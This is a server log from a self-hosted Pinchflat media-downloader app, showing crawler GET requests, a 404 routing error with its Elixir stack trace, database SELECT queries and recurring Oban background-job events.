"x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.256243.0>, params: %{}, path_info: ["sources", "3", "media", "3309", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_ (truncated) 03:51:00.362 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:51:26.031 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:30.935 [info] GET /sources/3/media/3309 03:51:30.935 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3309", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 03:51:30.936 [debug] QUERY OK source="media_items" db=0.3ms idle=1292.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3309] 03:51:30.937 [debug] QUERY OK source="tasks" db=0.2ms idle=1293.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3309] 03:51:30.937 [debug] QUERY OK source="sources" db=0.6ms idle=1293.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:51:30.938 [debug] QUERY OK source="settings" db=0.3ms idle=1294.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:30.939 [debug] QUERY OK source="settings" db=0.3ms idle=813.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:30.940 [debug] QUERY OK source="settings" db=0.2ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:30.941 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 03:51:30.945 [info] Sent 200 in 9ms 03:51:56.033 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:56.956 [info] GET /sources/3/media/3296/force_download 03:51:56.957 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=923.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:56.958 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=780.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:56.958 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 03:51:56.958 [error] #PID<0.256255.0> running PinchflatWeb.Endpoint (connection #PID<0.256254.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/media/3296/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3296/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.256254.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3296/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49678}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.256255.0>, params: %{}, path_info: ["sources", "3", "media", "3296", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/3/media/3296/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIDA3sVpPds7yZkAL7vC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.256254.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3296/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49678}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3296/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.256254.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3296/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49678}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.256255.0>, params: %{}, path_info: ["sources", "3", "media", "3296", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_ (truncated) 03:52:00.363 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:52:26.035 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:56.037 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:00.364 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:53:21.656 [info] GET /sources/3/media/3296 03:53:21.656 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3296", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 03:53:21.657 [debug] QUERY OK source="media_items" db=0.2ms idle=305.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3296] 03:53:21.658 [debug] QUERY OK source="tasks" db=0.2ms idle=14.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3296] 03:53:21.658 [debug] QUERY OK source="sources" db=0.5ms idle=14.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:53:21.659 [debug] QUERY OK source="settings" db=0.2ms idle=15.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:53:21.659 [debug] QUERY OK source="settings" db=0.2ms idle=16.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:53:21.660 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:53:21.662 [debug] QUERY OK source="media_profiles" db=0.4ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 03:53:21.666 [info] Sent 200 in 9ms 03:53:26.039 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:56.041 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:00.365 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:54:26.043 [info] {"source":"oban","duration":1688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:56.046 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:00.366 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:55:26.048 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:56.050 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:00.367 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:56:00.571 [info] GET /media/bb07f896-c9ee-4f9a-9176-4cd51c3f264d/stream 03:56:00.571 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "bb07f896-c9ee-4f9a-9176-4cd51c3f264d"} Pipelines: [:maybe_basic_auth] 03:56:00.572 [debug] QUERY OK source="media_items" db=0.5ms idle=928.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["bb07f896-c9ee-4f9a-9176-4cd51c3f264d"] 03:56:00.573 [debug] Invalid range request for media item: bb07f896-c9ee-4f9a-9176-4cd51c3f264d - serving full file 03:56:00.573 [info] Sent 200 in 1ms 03:56:26.052 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:56.054 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:00.368 [info] {"source":"oban","duration":237,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:57:26.056 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:56.058 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:00.369 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:58:26.060 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:56.062 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:00.370 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:59:26.064 [info] {"source":"oban","duration":1687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:56.067 [info] {"source":"oban","duration":1742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:00.371 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:00:26.070 [info] {"source":"oban","duration":1716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:56.073 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:00.372 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:01:26.075 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:56.077 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:00.373 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:02:26.079 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:56.081 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:00.374 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:03:26.083 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:56.085 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:00.375 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:04:26.087 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:56.089 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:00.376 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:05:26.091 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:56.093 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:00.377 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:06:26.095 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:56.097 [info] {"source":"oban","duration":1064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:00.378 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:07:26.099 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:56.101 [info] {"source":"oban","duration":1637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:00.379 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:08:26.103 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:56.105 [info] {"source":"oban","duration":1737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:00.380 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:09:26.108 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:56.110 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:00.381 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:10:26.112 [info] {"source":"oban","duration":1701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:56.115 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:00.382 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:11:26.117 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:56.119 [info] {"source":"oban","duration":1749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:00.383 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:12:26.122 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:56.124 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:00.384 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:13:26.126 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:56.128 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:00.385 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:14:26.130 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:56.132 [info] {"source":"oban","duration":1128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:00.386 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:15:26.134 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:56.136 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:00.387 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:16:26.138 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:56.140 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:00.388 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:17:26.142 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:56.144 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:00.389 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:18:26.146 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:56.148 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:00.390 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:19:26.150 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:56.152 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:00.391 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:20:26.154 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:56.156 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:00.392 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:21:26.158 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:56.160 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:00.393 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:22:26.162 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:56.164 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:00.394 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:23:26.166 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:56.168 [info] {"source":"oban","duration":922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:00.395 [info] 